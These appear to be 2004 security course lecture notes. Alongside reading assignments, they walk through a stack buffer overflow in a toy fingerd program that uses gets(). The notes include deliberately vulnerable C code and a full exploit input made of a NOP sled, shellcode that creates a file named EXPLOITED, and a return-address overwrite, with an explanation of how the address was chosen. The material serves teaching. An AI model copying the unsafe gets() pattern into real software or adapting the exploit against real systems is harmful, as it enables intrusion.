

Graeme Wearden, CNET News.com,
2004.09.01: “Wi-Fi group backs brawnier
security standard

“The first products certified to support
Wi-Fi Protected Access 2, the latest
wireless security technology, were
announced by the Wi-Fi Alliance on
Wednesday.

“The Wi-Fi Alliance says WPA2 is a big
improvement on earlier wireless security
standards, such as Wired Equivalent
Privacy (WEP), which hackers have found
easy to circumvent. It includes Advanced
Encryption Standard, which supports
128-bit, 192-bit and 256-bit keys.”

Assignment due 2004.08.25: read foreword and preface of textbook.

Assignment due 2004.08.27: read textbook Chapter 1 pages 1–14, up to “The Trinity of Trouble.”

Assignment due 2004.08.30: read the rest of Chapter 1.

Assignment due today: Read Gaim.

<http://cr.yp.to/2004-494/gaim.html>

Assignment due 2004.09.08: read textbook Chapter 7 pages 277–308.

fingerd in more detail:

```
int main(int argc, char **argv)
{ char line[512];
  char *x[3];
  line[0] = 0;
  gets(line);
  x[0] = "/usr/bin/finger";
  x[1] = line;
  x[2] = 0;
  switch(fork()) {
    case 0: execv(x[0], x);
    case -1: return 111;
  }
  wait(0);
  return 0;
}
```

When `main` begins, it allocates 512 bytes for `line` on the stack.

Stack contents: `line[0]`, `line[1]`, ..., `line[511]`, a few unused bytes, return address, `argc`, `argv`.

`gets` writes to `line[0]`, `line[1]`, etc. If it continues much past `line[511]`, it overwrites `main`'s return address!

An attacker anywhere on the network can connect to this program and feed it more than 512 bytes before `'\n'`.

Compile on Pentium M, FreeBSD 4.10,
gcc 2.95.4 with `-fomit-frame-pointer`.

Run with these 529 input bytes:

90 90 90 90 90 90 90 90

... (440 bytes omitted)

90 90 eb 19 5e 31 c0 50

b0 01 c1 e0 09 50 56 31

c0 b0 05 50 cd 80 31 c0

50 40 50 cd 80 e8 e2 ff

ff ff 45 58 50 4c 4f 49

54 45 44 00 00 00 00 00

00 00 00 00 00 00 00 00

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00 00 00 00 68 f6 bf bf 0a

Program creates file called EXPLOITED.

First part of input is **payload**:

```
90 90 90 90 90 90 90 90
... (440 bytes omitted)
90 90 eb 19 5e 31 c0 50
b0 01 c1 e0 09 50 56 31
c0 b0 05 50 cd 80 31 c0
50 40 50 cd 80 e8 e2 ff
ff ff 45 58 50 4c 4f 49
54 45 44 00
```

These are instructions to create file.

Second part of input is **smasher**:

```
68 f6 bf bf
```

Smasher uses the gets overflow
to have program jump to payload.

Input is terminated by 0a, i.e., '\n'.

		stack	
		080484ce	main:
		080484ce	sp -= 134
...	...	080484ce	line[0] = 0
...	...	080484ce	gets(line)
90909090	...	bfbff668	x[0] = ...
90909090	...	bfbff668	...
90909090	...	bfbff668	wait(0)
90909090	...	bfbff668	sp += 134
		bfbff668	goto *sp++

Program jumps to 0xbfbff668,
which is `line`, the payload address.

Building the smasher

Looked at compiled program.

Saw that `line` was at `0xbfbff668` and `main` return address was at `line+524`.

So put smasher at input position 524, with bytes `68 f6 bf bf`.

Same smasher works if `line` is anywhere from `0xbfbff21c` through `0xbfbff668`, because payload byte 90 is a “no-op”: an instruction to do nothing. For other positions, change smasher.

Can use longer smasher, repeating `68 f6 bf bf` several times, to handle return addresses at other positions near `line+524`.